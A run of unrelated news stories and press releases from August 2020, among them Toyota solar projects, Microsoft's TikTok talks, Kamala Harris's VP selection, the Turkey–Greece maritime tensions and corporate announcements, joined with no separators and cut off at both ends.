weeks legislation out of the Senate is a practical, positive step toward strengthening Americas domestic supply chain and, therefore, our economy and national security. Biden and the eco-left are eager to implement energy policies to save the world, but they would only allow China to control even more of it. When China controls our wind, solar, batteries, EVs, and all green technology by maintaining its monopoly on rare earths, climate change will be the least of our problems. Daniel Turner is the founder and executive director of Power The Future, a national nonprofit organization that advocates for American energy jobs. Contact him at daniel@powerthefuture.com and follow him on Twitter @DanielTurnerPTF "Toyota continuously looks for new ways to reduce water usage, recycle materials and conserve energy, and we are proud to add solar panels to our line-up of best practices," said Kevin Bell, TMNA Energy Manager. "We are committed to setting an example of sustainability to show how a company can significantly reduce the environmental impact of its operations." The new solar arrays join similar projects at Toyota plants in Texas and Mississippi, all of which support the company's global Environmental Challenge 2050 to eliminate all carbon emissions from manufacturing by the middle of the century. Toyota Motor Corporation issued the Challenge as a set of six goals with a target of achieving beyond zero environmental impact. Toyota is one of the top 20 corporate users of installed onsite solar capacity in the U.S., according to the Solar Energy Industries Association. Alabama Toyota Motor Manufacturing Alabama (TMMAL) The Huntsville engine plant's 3.3-acre solar array will be the largest constructed to date in Madison County, Alabama. The $2.7 million investment will generate 1.6 megawatts of solar-generated energy and reduce CO2 emissions at the plant by 1,732 metric tons annually. The project is expected to be complete by December 2020. Since starting production in 2003, the engine plant has expanded five times with a total of $1.2 billion invested. 1,400 team members currently build approximately 2,500 engines per day that go into 1/3 of Toyota vehicles produced in North America, making it one of the largest Toyota engine plants globally. Missouri Toyota Motor Manufacturing, Missouri (TMMMO) The solar array at Toyota's unit plant in Troy, Mo. will span 1.5 acres and generate 0.75 megawatts of solar-generated energy. The project will be the largest solar array in Lincoln County, Missouri. The $1.7 million investment will reduce CO2 emissions at the plant by 750 metric tons annually. The project is expected to be complete in January 2021. TMMMO team members produce cylinder heads for every Toyota vehicle built in North America. The plant started production in 1991 and has grown to over 900 employees with $455 million invested. West Virginia Toyota Motor Manufacturing, West Virginia (TMMWV) Toyota's engine and transmission plant in Buffalo, W. Va. will be the largest solar array in the state. The array will span 6 acres and generate 2.6 megawatts of solar-generated energy. The $4.9 million investment will reduce CO2 emissions at the plant by 1,822 metric tons annually. The project is expected to be complete in March 2021. Established in 1996, TMMWV manufactures nearly one million engines and transmissions for the Toyota Avalon, Camry, Corolla, Highlander, Rav4 and Lexus ES and RX350. Additionally, in June 2020 TMMWV became the first Toyota facility in North America to begin producing hybrid transaxles, which are built for the Highlander and Sienna. About Toyota Toyota (NYSE:TM) has been a part of the cultural fabric in the U.S. and North America for more than 60 years, and is committed to advancing sustainable, next-generation mobility through our Toyota and Lexus brands. During that time, Toyota has created a tremendous value chain as our teams have contributed to world-class design, engineering, and assembly of more than 40 million cars and trucks in North America, where we have 14 manufacturing plants, 15 including our joint venture in Alabama (10 in the U.S.), and directly employ more than 47,000 people (over 36,000 in the U.S.). Our 1,800 North American dealerships (nearly 1,500 in the U.S.) sold 2.7 million cars and trucks (2.4 million in the U.S.) in 2019. Through the Start Your Impossible campaign, Toyota highlights the way it partners with community, civic, academic and governmental organizations to address our society's most pressing mobility challenges. We believe that when people are free to move, anything is possible. For more information about Toyota, visit www.toyotanewsroom.com. Contact: Kim Ogle, [email protected], 256.714.3633 SOURCE Toyota Motor North America Related Links www.toyota.com 'TikTok is functionally and technically similar to ByteDance-owned Douyin, which is available only in China, and shares technical resources with it and other ByteDance-owned properties, experts said.' Microsoft's bid to carve out parts of TikTok from its Chinese owner ByteDance will be a technically complex endeavour that could test the patience of President Donald Trump's administration, according to sources familiar with the setup. Mr Trump has given Microsoft until September 15 to put together a blueprint for an acquisition that safeguards the personal data of Americans stored on the video-sharing app, and he has issued an order to ban it if there is no deal by then. Microsoft is negotiating a transition period that will give it time to ring-fence TikTok technologically from ByteDance after a deal. The clean break that Mr Trump and lawmakers envision could take a year or more, some sources said. TikTok is functionally and technically similar to ByteDance-owned Douyin, which is available only in China, and shares technical resources with it and other ByteDance-owned properties, experts said. ByteDance started working on their technological separation several months ago amid scrutiny from the US government, a source told Reuters. It began planning for a split as part of a strategy to shift its power from China. While the code for the app, which determines the look and feel of TikTok, has been separated from Douyin, the server code is still partially shared across other ByteDance products, the source said. The server code provides basic app functionality such as data storage, algor-ithms for moderating and recommending content and managing user profiles. To ensure uninterrupted TikTok service, Microsoft would likely need to rely on ByteDance's code while it reviews and revises the code, and moves to a new back-end infrastructure to serve users, according to security expert Ryan Speers at River Loop Security, which provides cybersecurity due diligence services for deals. The media company is caught up in a row over payments made by the countrys former leader to support the networks and this latest decision comes eight months after the Disempowerment Committee, tasked with the removal of employees and affiliates of the former regime, decided to shut down Tayba Channel television and Tayba radio station and seized its headquarters in Khartoum on 7 January, 2020. The Government Officer appointed by the Disempowerment Committee as Administrative Supervisor of Tayba Satellite Channel and Tayba Radio, Amher Abu Ai Jokh, has issued a declaration to dimiss 105 journalists and media workers by August 31. The International Federation of Journalists (IFJ) joined its affiliate, the Sudanese Journalists Union (SJU) in calling for action to save jobs and ensure workers rights are respected. IFJ General Secretary, Anthony Bellanger, said that the unilateral decision taken by Amber Abu Ai Jokh violates the labour rights of the workers as protocols demand that the workers or their representatives should have been consulted. The IFJ called on the President of the Sovereignty Council and the Prime Minister to intervene and put a halt to this arbitrary decision and to respect the labour rights of workers as well as to guarantee the safety and security of journalists and media workers in Sudan. The administration of U.S. President Donald Trump is considering a measure to block U.S. citizens and permanent residents from returning home if they are suspected of being infected with the new coronavirus, a senior U.S. official confirmed to Reuters. The official said a draft regulation, which has not been finalized and could change, would give the government authorization to block individuals who could "reasonably" be believed to have contracted COVID-19 or other diseases. Trump has instituted a series of sweeping immigration restrictions since the start of the coronavirus pandemic, suspending some legal immigration and allowing U.S. border authorities to rapidly deport migrants caught at the border without standard legal procedures. Reuters reported in May that the U.S. government officials were concerned that dual U.S.-Mexico citizens might flee to the United States if the coronavirus outbreak in Mexico worsened, putting more stress on U.S. hospitals. People walk toward the U.S. on the international bridge as efforts to try to slow the spread of COVID-19 continue at the U.S.-Mexico border in Laredo, Texas, U.S., May 21, 2020. /Reuters The draft regulation, which was first reported by The New York Times on Monday, would be issued by the U.S. Centers for Disease Control and Prevention (CDC), which has played a lead role in the pandemic response, the senior official told Reuters. A Trump pandemic task force was not expected to act on the proposal this week, although that timeline could change, the official said. Omar Jadwat, director of the American Civil Liberties Union's immigrants' rights project, said in a written statement that barring U.S. citizens from entering the country would be unconstitutional and "another grave error in a year that has already seen far too many." The U.S. has so far exceeded five million infections and recorded over 165,000 deaths both totals are the highest of any country in the world. (REUTERS) OSLO, Aug. 10, 2020 /PRNewswire/ -- Borr Drilling Limited (the "Company") advises that the 2020 Annual General Meeting of the Company was held on August 10, 2020 at 09:30 ADT at 2nd Floor, The S.E. Pearman Building, 9 Par-la-Ville Road, Hamilton HM 11, Bermuda. The audited consolidated financial statements for the Company for the year ended December 31, 2019 were presented to the Meeting. The following resolutions were passed: 1) To re-elect Pal Kibsgaard as a Director of the Company. 2) To re-elect Tor Olav Trim as a Director of the Company. 3) To re-elect Alexandra Kate Blankenship as a Director of the Company. 4) To re-elect Patrick Arnold Henk Schorn as a Director of the Company. 5) To re-elect Georgina E. Sousa as a Director of the Company. 6) To re-elect Neil J. Glass as a Director of the Company. 7) To approve the increase of the Company's authorized share capital from US$9,182,692.30 divided into 183,653,846 common shares of US$0.05 par value each to US$11,182,692.30 divided into 223,653,846 common shares of US$0.05 par value each by the authorization of an additional 40,000,000 common shares of US$0.05 par value each. 8) To appoint PricewaterhouseCoopers LLP as auditors and to authorize the Directors to determine their remuneration. 9) To approve remuneration of the Company's Board of Directors of a total amount of fees not to exceed US$950,000 for the year ended December 31, 2020. Hamilton, Bermuda August 10, 2020 This information was brought to you by Cision http://news.cision.com https://news.cision.com/borr-drilling-limited/r/borr-drilling-limited---2020-agm-results-notification,c3166507 SOURCE Borr Drilling Limited SOURCE Borr Drilling Limited Source: Xinhua| 2020-08-11 11:24:00|Editor: huaxia Video Player Close KIGALI, August 10 (Xinhua) -- Rwandan parliament on Monday objected the inclusion of a denier of the 1994 Rwandan Genocide Against the Tutsi in a Belgian parliamentary special commission to examine Belgium's colonial past in its former African colonies including Rwanda. Rwandan parliament welcomed the founding of the special commission but said it is "concerned by the inclusion in the Group of Experts that will assist the special commission, of a known genocide denier whose known 'expertise' is the distortion of the recent history of Rwanda." The denier belongs to an organization that refused to recognize the Rwandan genocide that claimed over 1 million lives, mainly ethnic Tutsis, according to the parliament. While the statement didn't mention the name of the genocide denier or the organization, local media reported it was Laure Uwase, a member of Belgium-based Jambo Asbl. The umbrella organization of the survivors of the genocide, Ibuka, and the Rwandan diaspora in Belgium were "outraged" by the appointment, local English daily The New Times reported. The parliament also said it has reservations about the outcome of the work of the commission in view of the appointment. In a letter to President of the Democratic Republic of the Congo Felix Tshisekedi in June, King Philippe of Belgium expressed "deepest regret" for the colonial wounds inflicted on what is now the Democratic Republic of the Congo, the first time a Belgian sovereign recognized facts of the colonial past in the country. Enditem A group calling itself Alliance Drivers of Ghana is challenging former President John Mahama to swear by a powerful local deity 'Antoa Nyama' that he would not cancel the Free SHS programme when re-elected as President. The group made the call in a statement signed by its National Chairman, Alhaji Yahaya Isiaka; National PRO, Kweku Boateng; and Central Regional PRO, Adu Yeboah. The group noted the former president and his appointees have been spewing out conflicting statements on the free SHS policy making them unbelievable. According to the statement, It has become really necessary for we the drivers and motorcycle operators to defend some key initiatives implemented by this government so far, more specifically the free senior high school. The statement added that It is on record that a report once done by the Ghana Statistical Service indicates that 19.5% of the Ghanaian population has never tasted formal education before ever in their entire lifespan. The above fact is worrisome hence the need to fully rally behind the implementation of the free senior high school to ensure this canker is massively eliminated. Nobody can underestimate the importance of this free senior high school initiative but there are countless number of times various statements from the NDC and their affiliates clearly depict they have an ill motive for this intervention. On October 16. 2018, Prof. Jane Naana Opoku Agyemang said free SHS is not working and that Ghanaians are complaining. On another occasion, the General Secretary of the NDC, Mr. Johnson Asiedu Nketiah is on record to have said on October 1, 2018 that Free SHS is shambolic and that it will have to be scrapped. The National Chairman of the NDC, Elder Ofosu Ampofo also on 18th December, 2018 said free shs is bogus because double Track system is causing teenage pregnancy. The then Minister of Education, Lee Ocran, on 10th September, 2012 said Free SHS can only be possible in 2032, in 20 years time. Weve witnessed more of this statement and we keep asking ourselves whether the NDC can be trusted to continue with the implementation of the free senior high school. This is the reason why we are asking his excellency John Dramani Mahama to take an oath or swear by ANTOA that he will not cancel free senior high school in case he happens to be the next president, the statement noted. ---Daily Guide Dilday, a member of a longtime Long Beach family, died unexpectedly of a heart attack in his sleep at his home Jan. 10, according to his wife, Diane. SRINAGAR: Jammu and Kashmir's bureaucrat-turned-politician Shah Faesal on Tuesday (August 11, 2020) spoke to Zee News exclusively about his decision to quit politics, the road ahead and his next course of action. Faesal had on Monday resigned from the Jammu and Kashmir People's Movement, the party he founded last year after quitting the civil services. Shah Faisal, while talking to Zee News, said, ''I realised that in view of changed political circumstances, I can't make much difference in politics. I am a realist and want to promise only that which I can deliver. About intense speculations that he might be re-joining the civil services again as his resignation has still not been accepted yet, Faisal said, I have absolutely no idea at this moment where will I go next. While the entire political spectrum in Jammu and Kashmir is changing, Faisal wants to stay away from it and wants to work for the benefit of people. People are gradually coming into terms with the new reality. Mainstream politics will get revived, with or without me. There is no running away from a representative government, he said on WhatsApp reply to Zee News. A statement issued by his party on Monday said, "Dr Shah Faesal had informed the State Executive Members that he is not in a position to continue with political activities and wants to be freed from the responsibilities of the organization". Shah Faesal, 37, who topped the 2010 civil services exam and was serving the state government, had quit his job in January 2019. He said it was his gesture of protest against the "unabated killings" in Kashmir and the "marginalization of Indian Muslims". One of the most vocal critics of the Centre's move to scrap the special status of Jammu and Kashmir, he was taken into custody last year along with hundreds of other political leaders. In February, he was booked under the stringent Public Safety Act. He was released last month. The program, available through Virtual Classroom or Self-Paced delivery, is designed specifically for busy industry professionals, preparing them to take and pass the CFP exam in nine months or less. In addition to comprehensive education resources, professionals have access to Dalton's CFP exam review and Guarantee to Pass, the industry's only CFP exam education and review program to offer a money-back guarantee that students will pass the exam on their first attempt. Successful completion of the program gains professionals a certificate of completion from UT Austin, ranked among the 40 best universities in the world. The Virtual Classroom delivery is a comprehensive, live-online, instructor-led program that satisfies the education requirement for a professional to sit for the CFP exam. The virtual course is designed for the convenience of professionals, allowing them to access sessions from a device and location of their choosing. Additionally, lectures are recorded for instances where a student misses a class. The Self-Paced delivery also satisfies the CFP certification education requirement, and is ideal for students who prefer self-paced learning or who are unable to commit to regularly scheduled class meetings. This flexible learning method results in students successfully completing the program on their own timeline, while still gaining a thorough understanding of the material. "The Center for Professional Education at TEXAS Extended Campus has an exceptional reputation for its traditional, classroom-based financial planning certificate program, with program graduates consistently scoring higher than the national average on the CFP board certification exam," said Joseph M. Gillice, president of Dalton Education. "We're excited to collaborate with them to provide professionals access to additional financial planning education options, delivered online." "Now more than ever is the time for professionals to take stock of their careers and determine next steps and goals that will assist them in advancing," said Erin Harris, director of course programming for TEXAS Extended Campus. "We're committed to fostering that by providing them resources like Dalton's thorough financial planning curriculum. We look forward to positive results." About Dalton Education Dalton Education, a Leeds Equity Partners and CeriFi portfolio company, is a leading provider of education solutions for financial planning and insurance professionals. The company partners with some of the nation's premier universities to deliver the highest quality of CERTIFIED FINANCIAL PLANNER (CFP certification) education and offers the industry-leading Dalton Review for the CFP exam. The Dalton Review, designed by former members of the CFP Board of Examiners, is the industry's most comprehensive CFP exam review, and the only one to offer students a predicted probability of passing the exam. Students scoring 60% or higher on Dalton's predictor exam have an 88% pass rate on the actual exam. As a result of the comprehensive review, over half of Dalton's students score 60% or higher on the predictor. Dalton Education's high-quality curriculum and instruction have consistently led to the highest CFP exam pass rates in the country, with over 90% of Dalton Education students ultimately becoming a CFP professional. It is the only education provider in the nation to offer a 100% money-back guarantee that students will pass the CFP exam through its Guarantee to Pass Education and Review programs. Dalton Education also offers education courses for the Capstone requirement (required by the CFP Board for all Challenge Candidates), continuing education courses for the CFP Board Code of Ethics and Standards of Conduct for CFP Professionals. About TEXAS Extended Campus As part of The University of Texas at Austin, TEXAS Extended Campus (TEC) draws upon the multiple strengths of the University to develop and offer programs that serve working professionals and lifelong learners in Austin, across Texas and around the world. Faculty members, industry professionals and curriculum experts produce courses and programs to benefit students at the high school, college and professional levels. The Center for Professional Education is the department within TEC that offers career training and skill development programs designed to empower professional growth and increased productivity for individuals, work teams and organizations. SOURCE Dalton Education Related Links http://dalton-education.com WASHINGTON - The Latest on Democratic presidential contender Joe Bidens selection of California Sen. Kamala Harris as his running mate (all times local): 9:30 p.m. Former Republican vice-presidential nominee Sarah Palin is congratulating Kamala Harris on the historic nature of being selected as Joe Bidens running mate and offering some advice on how best to fill the role. Congrats, Palin wrote in an Instagram post. Climb upon Geraldine Ferraros and my shoulders, and from the most amazing view in your life consider lessons we learned. A former Alaska governor, Palin was John McCains running mate in 2008. Democrat Ferraro ran with Walter Mondale in 1984. Harris is the first Black woman to run for vice-president on a major-party ticket. Palins post included a series of tips for Harris, including trust no one new, fight mightily to keep your own team with you, dont get muzzled and dont forget the women who came before you. She also warned Harris that yahoos running campaigns will suffocate you with their own self-centred agenda and urged Harris to stay connected with America as you smile and ignore deceptive handlers trying to change you. McCain and Palin were defeated in 2008 by Barack Obama and his running mate, Biden. __ 6 p.m. President Donald Trump says hes a little surprised that his Democratic rival, Joe Biden, has selected Kamala Harris as his running mate. Trump told reporters at a White House briefing that Harris was very disrespectful to Joe Biden during the Democratic primaries, and said its hard to pick somebody thats that disrespectful. Hes also noting that Harris did very poorly when she ran for the nomination she dropped out in December and says, Thats like a poll. Trump is trying to paint Harris as too far left, saying she wants to raise taxes, slash funds for the militarily and ban fracking. Hes also noting her tough questioning of now-Supreme Court Justice Brett Kavanaugh during his Senate confirmation hearing. Trump says, She was my No. 1 draft pick and well see how she works out. Bidens campaign announced his decision to pick Harris as his running mate earlier Tuesday. Trump last month had said she would be a fine choice. __ 5:50 p.m. Vice-President Mike Pence is welcoming his Democratic rival to the race after former vice-president Joe Biden named California Sen. Kamala Harris as his running mate. Speaking in Arizona, the Republican used the opportunity to attack the Biden-Harris ticket. As you all know, Joe Biden and the Democratic Party have been overtaken by the radical left, Pence said. So given their promises of higher taxes, open borders, socialized medicine and abortion on demand, its no surprise that he chose Senator Harris. Pence plugged the Oct. 7 vice-presidential debate, scheduled to take place in Utah. So my message to the Democratic nominee for vice-president: Congratulations. Ill see you in Salt Lake City! __ 5:45 p.m. Former Vice-President Joe Biden says he picked Sen. Kamala Harris as his running mate in part because she is ready to lead and understands the pain that so many people in our nation are suffering. Biden says in an email to supporters that Harris can be the partner to help him deliver on his promises to make sustainable changes to the country, which he characterizes as damaged by President Donald Trump. Referencing his time as vice-president to Barack Obama, Biden says his pick of Harris reflects a governing decision rather than a political one, noting that they would inherit a nation divided, and a world in disarray. Biden says he and Harris would be holding a fundraiser Wednesday so she can get a chance to talk to some of the grassroots supporters who have powered this campaign. __ 5:35 p.m. Illinois Sen. Tammy Duckworth says she has never been more confident that Joe Biden is the leader the country needs after he announced Kamala Harris as his running mate. Duckworth was among the women the presumptive Democratic presidential nominee considered as his vice-presidential nominee. She said on Twitter she will work hard to elect Biden and Harris, a California senator and former state attorney general. Im all in for the Biden-Harris ticket and hope you will join me in helping ensure that he and Kamala are able to defeat Donald Trump and restore the soul of America this November, Duckworth says. __ 5:25 p.m. Former President Barack Obama is hailing his former vice-presidents running mate selection, saying, Joe Biden nailed this decision. By choosing Senator Kamala Harris as Americas next vice-president, hes underscored his own judgment and character, Obama adds. Obama calls Harris an ideal partner to help him tackle the very real challenges America faces right now and in the years ahead. __ 5:15 p.m. Climate activist Al Gore is praising Joe Bidens choice of running mate as a victory for those who care about combating the climate crisis. Gore said in a tweet that Kamala Harris has made climate and environmental justice a top priority in her political career, and he said shed be a strong advocate in the White House. Gore is a former vice-president and 2000 Democratic presidential nominee who once served as a Tennessee senator alongside Biden. Gore already has endorsed Biden and has since worked with him on his climate plans. Biden stops short of embracing some of the progressives most aggressive timelines for eliminating carbon pollution from the U.S. economy, but Gore has praised Bidens climate agenda as ambitious and necessary. And Gore says proposals to overhaul the energy grid and retrofit existing infrastructure and buildings will create millions of new jobs. __ 5:05 p.m. In her first public statement since Joe Biden named her as his vice-presidential running mate, California Sen. Kamala Harris says shes honoured to join the Democrats presumptive presidential nominee on the partys November ticket. Harris said on Twitter that Biden can unify the American people because hes spent his life fighting for us. She said Biden would build a country that lives up to our ideals. Her brief statement did not address the historic nature of her nomination. Harris is the first Black woman to join a major party ticket in U.S. history. She would be the first woman to hold the office if Biden defeats President Donald Trump. The 55-year-old senator and the 77-year-old former vice-president are slated to appear together for the first time as a ticket Wednesday afternoon in Bidens hometown of Wilmington, Delaware. They will be formally nominated next week as part of Democrats virtual convention. Harris will accept her nomination Wednesday. Biden will accept his nomination Thursday. __ 5 p.m. Georgia voting rights advocate Stacey Abrams is congratulating Democratic vice-presidential candidate Kamala Harris after Joe Biden announced the California senator as his running mate. After the announcement, Abrams tweeted that she spoke at length with the 77-year-old Biden over the weekend and again Tuesday. The presumptive presidential nominee called several women he considered for the ticket to let them know they were not his final choice. Abrams praised Bidens focus on reaching out to every corner of our country and pledged to work for Team #BidenHarris through November. The 46-year-old Abrams remains a rising Democratic star, though her next move in the party remains unclear. She narrowly lost a 2018 bid for Georgia governor that would have made her the first Black woman elected to lead a U.S. state. She is considering another run for governor in 2022. She has also formed a voting rights group that is working with the Biden campaign and other Democratic allies to help educate voters and prepare them to vote amid the coronavrius pandemic. __ 4:55 p.m. House Majority Whip Jim Clyburn says Joe Bidens selection of Kamala Harris as his running mate will energize voters ahead of the general election fight against President Donald Trump. This is everything that we need to get people to turn out the vote, Clyburn told MSNBC Tuesday. Clyburns backing helped boost Biden across the South Carolina primary finish line, propelling him into victories in later nominating contests. Clyburn says he and other Democrats will devote themselves to working toward Bidens victory in the November election, saying, We are dedicating this entire election year to my late friend, John R. Lewis, the civil rights icon who died last month. __ 4:50 p.m. Los Angeles Mayor Eric Garcetti is praising his dear friend and fellow Californian Kamala Harris after Democratic presidential candidate Joe Biden selected the senator as his running mate. Garcetti is one of Bidens campaign co-chairs and a co-chair of the search committee that helped Biden navigate his options before making Harris the first Black woman to join a U.S. major party national ticket. The mayor notes in a statement that he and Harris have been friends for many years, recalling their work together on then-Sen. Barack Obamas presidential campaign in 2008. Obama went on to select Biden as his vice-presidential running mate. Garcetti calls Harris a true ally for people who have needed a voice within the corridors of power. Should Biden win in November and Harris take office as vice-president, Garcetti would be eyed as a potential successor for her Senate seat. __ 4:40 p.m. President Donald Trumps campaign is blasting Joe Bidens vice-presidential pick, calling Sen. Kamala Harris phony. In a statement, Trump adviser Katrina Pierson says Harris will abandon her own morals, as well as try to bury her record as a prosecutor, in order to appease the anti-police extremists controlling the Democrat Party. Pierson says Harris has gleefully embraced the lefts radical manifesto, calling for trillions of dollars in new taxes and backing Bernie Sanders government takeover of healthcare. Pierson calls Harris proof that Joe Biden is an empty shell being filled with the extreme agenda of the radicals on the left. For weeks, Trumps campaign promised an aggressive response against whomever was selected by Biden as his running mate. Says Pierson, At the ballot box, Americans will resoundingly reject the abysmal failures of Biden-Harris in favour of the America First strength of President Donald Trump and Vice-President Mike Pence. __ 4:17 p.m. Joe Biden has chosen California Sen. Kamala Harris as his running mate. Its a move that fulfills the wish of Democrats clamouring to see a woman of colour on a major partys presidential ticket for the first time in history. The 55-year-old Harris was elected to the Senate in 2016 after serving as Californias attorney general. Harris competed against Biden for the Democratic presidential nomination but left the race before voting began as she struggled to raise money. One of Harris standout moments of her presidential campaign came at the expense of Biden, when she slammed his past opposition to school busing. Churches in FESTAC Town in Amuwo Odofin area of Lagos State complied with the COVID-19 protocols as they resumed worship on Sunday. The News Agency of Nigeria (NAN) correspondent, who visited some churches, reports that automated hand wash units and hand sanitiser dispensers, soaps, water and infrared thermometers were provided by the churches. Also, big banners with No Mask, No Entry were posted at the doors to prevent worshippers without face masks from entering the church premises. Social distancing was observed by worshippers with stickers bearing iDo Not Sit placed on intervening seats to create spaces. At the Living Faith Church, A.K.A. Winners Chapel, Dominion Centre, in FESTAC Town, the Provincial Head, Pastor Alex Aina, said worshippers were excited to resume and, therefore, complied with the guidelines. Aina said that the church had installed 15 automated hand washing units with soap and automated hand sanitiser dispensers at the entrance and within the church premises. Everyone has been cooperative, you can see them with their face masks on, he said. He praised the church leadership for providing hand sanitisers and soaps to ensure there would be no shortfall of the provisions. At the Redeemed Christian Church of God (RCCG) Kings Royal Palace at FESTAC Town, Pastor Abiodun Oseni, said messages had earlier been sent to members through the church media platforms informing them of the protocols. Oseni, who is also the Assistant Pastor said: Also, at the beginning of each service, a message is projected to inform everyone of the protocols. Nobody comes in without a face mask. When the service is on, everyone wears theirs and those who use face shields are to also use masks. After each service, there's a decontamination of the hall by the C-19 Squad before the next one commences, he said. (NAN) In some parts of the world, women face discrimination, are forced to suffer menstrual pain in silence in the workplace or lose pay by staying home. In Nepal, girls are banished to period huts during their cycle because they are considered polluted, even toxic. The practice has had deadly consequences: In 2017, a teenager in western Nepal was bitten and killed by a poisonous snake. In India, viewing menstruation as taboo causes real harm, the author Rose George notes in The Taboo of Menstruation. Women face discrimination and superstition, sanitary supplies remain unavailable or unaffordable, and access to safe and clean toilet facilities serve as barriers in managing menstrual hygiene. Countries have made strides in addressing the issues surrounding periods, such as tackling the tampon tax. The Scottish Parliament this year passed a bill to make pads and tampons free across the board. But Zomatos policy is the latest move to try to dismantle wider outdated workplace policies. In Japan, for example, Yumi Ishikawa, a model, actress and temporary worker, gathered 18,000 signatures for a petition to end employer dress codes that force women to wear heels. Zomato isnt the first Indian company to introduce period leave. The State of Bihar has had two extra days of casual leave for government employees to take time off for periods since 1992. In 2017, the digital media company Culture Machine, which has offices in five cities in India, put in place a menstrual leave policy independent of vacation and sick days. There are also forms of menstrual leave policies in Indonesia, Japan, South Korea, Taiwan and Zambia. But while advocates say the policies should be widely expanded, others contend that the additional days off could hinder womens progress in the workplace and be used to justify lower salaries and a hiring bias against women. But Zomato a food aggregator that in 12 years has grown to become one of the largest food firms in the world, acquiring Ubers food-delivery business in India this year and maintaining a presence in 24 countries and over 10,000 cities is forging ahead. Company employees can apply for period leave through a human resources portal, its statement said, and a sexual harassment team will be in place to respond to any employees facing harassment for taking the time off. In a major boost to the armed forces, the Defence Acquisition Council (DAC) on Tuesday approved the procurement of defence equipment for an approximate cost of Rs 8,722.38 crore, including 106 basic trainer aircraft for the Indian Air Force (IAF). The step will strengthen the armed forces by relying on indigenous capability to take forward the initiative on Atmanirbhar Bharat. In its meeting held under the Chairmanship of Union Defence Minister Rajnath Singh, the DAC accorded approval for capital acquisitions of various platforms and equipment required by the Indian Armed Forces. With Hindustan Aeronautics Limited (HAL) having successfully developed Basic Trainer Aircraft (HTT-40) Prototypes and certification process underway, the DAC approved procurement of 106 Basic Trainer Aircraft from HAL to address the basic training requirements of the IAF. Post Certification 70 Basic Trainer Aircraft will be initially procured from HAL and balance 36 after operationalisation of HTT-40 fleet in IAF. To improve the fire power of Indian Navy, the DAC approved procurement of an upgraded version of Super Rapid Gun Mount (SRGM) which is fitted as the main gun on board Navy and Indian Coast Guard (ICG) warships from Bharat Heavy Electricals Limited (BHEL). The upgraded version of SRGM has enhanced capability to perform against fast manoeuvring targets like missiles and Fast Attack Crafts and increase the maximum engagement range. In view of the availability of requisite capability for indigenous development of the ammunition, both in terms of Manufacturing and Technology, the DAC approved procurement of 125 mm APFSDS (Armour Piercing Fin Stabilized Discarding Sabot) ammunition for Indian Army as a Design and Development Case. The ammunition being procured will have a 70 per cent indigenous content. The DAC also gave approvals that are likely to speed up the procurement of AK 203 and Unmanned Aerial Vehicle upgrades. LANSING, Mich., Aug. 11, 2020 /PRNewswire/ -- Accident Fund Insurance Company of America, a premier provider of workers' compensation insurance in the U.S., has granted $3.5 million in early dividend payments to chambers of commerce, associations, hospitality and other groups who achieved targeted safety results in 2020. The group dividend payments reached more than 4,700 workers' compensation insurance group policyholders. "During these unprecedented times, many of our policyholders have found themselves in a very difficult financial situation," said Al Gileczek, president of Accident Fund and CompWest. "Because of that, we have decided to pay our group dividends up to three months in advance in order to help our valued customers get through these very challenging times." Accident Fund's first group dividend program began in Michigan in 1995. To date, the company has paid more than $70.1 million in group dividends to its policyholders. When Accident Fund's customers belong to a group program, their business receives several benefits including: Five percent up-front savings on their workers' compensation premium Opportunity for dividend payments based on loss history No minimum premium to qualify Convenient billing options Access to flyers, tip sheets, posters and more through Accident Fund's online Resource Library Last May, AF Group announced a new People First Relief Program that is currently offering more than $20 million in immediate financial and operational assistance to ensure the health and safety of its workforce and to assist its valued agents, policyholders and injured workers. The program also provides new resources to support community service organizations across the country. About Accident Fund Insurance Company of America Accident Fund Insurance Company of America is a member of AF Group. Insurance policies may be issued by any of the following companies within the AF Group: Accident Fund Insurance Company of America, Accident Fund National Insurance Company, Accident Fund General Insurance Company, United Wisconsin Insurance Company, Third Coast Insurance Company or CompWest Insurance Company. Contact: Bob Lapinski (312) 443-9819 or (517) 331-4890 [email protected] AFGroup.com SOURCE AF Group; Accident Fund Related Links https://www.afgroup.com Source: Xinhua| 2020-08-12 02:19:57|Editor: huaxia Video Player Close ISTANBUL, Aug. 11 (Xinhua) -- Tensions between two NATO allies, Turkey and Greece, have flared up over energy explorations in the Eastern Mediterranean amid calls for diplomacy to de-escalate what could prove a potentially dangerous face-off. Turkey dispatched a research ship and two auxiliary navy vessels to a disputed region on Monday, near the island of Meis also known as Kastellorizo. The Turkish move comes three days after President Recep Tayyip Erdogan said he was tired of waiting for the outcome of talks held last month with Greece and the European Union's rotating president Germany. The arrival of the vessels prompted Greek Prime Minister Kyriakos Mitsotakis to confer with his military chiefs on Monday, and following the meeting, the Greek foreign ministry described the Turkish move as a "serious escalation." Experts said both Greece and Turkey are engaged in a "security dilemma" to impose on each other their security strategies. "Problems between Turkey and Greece can be explained by the concept of the security dilemma. Both countries are engaged in diplomatic and military moves to consolidate their security understandings and protect their national interests," Birgul Demirtas, a scholar from Istanbul's Turkish-German University, told Xinhua. This professor of international relations argued that policymakers in both nations are using a nationalistic rhetoric to justify their regional alliances and efforts for hydrocarbon explorations. Amid the ongoing war of words and saber-rattling between the two neighbors, Erdogan on Monday appealed for an "acceptable formula" for energy exploration rights in the Eastern Mediterranean. "Let's come together with all the countries in the Mediterranean. Let's find a formula that is acceptable to everyone and protects everyone's rights," the Turkish leader told reporters at a press conference after a cabinet meeting. "We are always there and ready to resolve conflicts through dialogue and equity," he said, noting Turkey will continue to implement its plans in the field and through diplomacy in the Mediterranean "until common sense prevails on this issue." The disputed area is close to Turkey, but Greece lays claim to it under international law. Turkey says the rules are unfair since only Greece has rights to the waters because of a few tiny islands that expand its legal reach. The EU appears to be siding with its member Greece in the dispute, as the bloc's Foreign Policy Chief Josep Borrell on Sunday called Turkey's actions "extremely worrying." The EU does not have an "impartial stance" in this particular conflict as its two members, Greece and Cyprus, are both against Turkey, according to Demirtas. Observers point to the complexity of international maritime law, which is at the root of clashing arguments in the East Mediterranean. "If our interest clashes with those of other nations, we should invite them to explain our arguments," said Nusret Guner, former chief of the Turkish navy. "We should always try to reach a settlement by diplomatic means, if it doesn't work, only then the military will enter the scene," he noted. However, the contradictions arise from different interpretations of the law, said Deniz Baran, a scholar from Istanbul University's International Law Department. The Turkish move to begin exploratory drilling activities in the region comes amid its anger over a deal signed between Greece and Egypt on creating economic zones for drilling rights and maritime boundaries, which Turkey claims is intended to keep Ankara out of the Eastern Mediterranean. Last year, Turkey signed a similar deal with the UN-backed Libyan government in Tripoli, sparking outrage in Greece, Cyprus and Egypt, which they all said infringed on their economic rights in the Mediterranean. Greece and Turkey have been at odds for decades over a wide variety 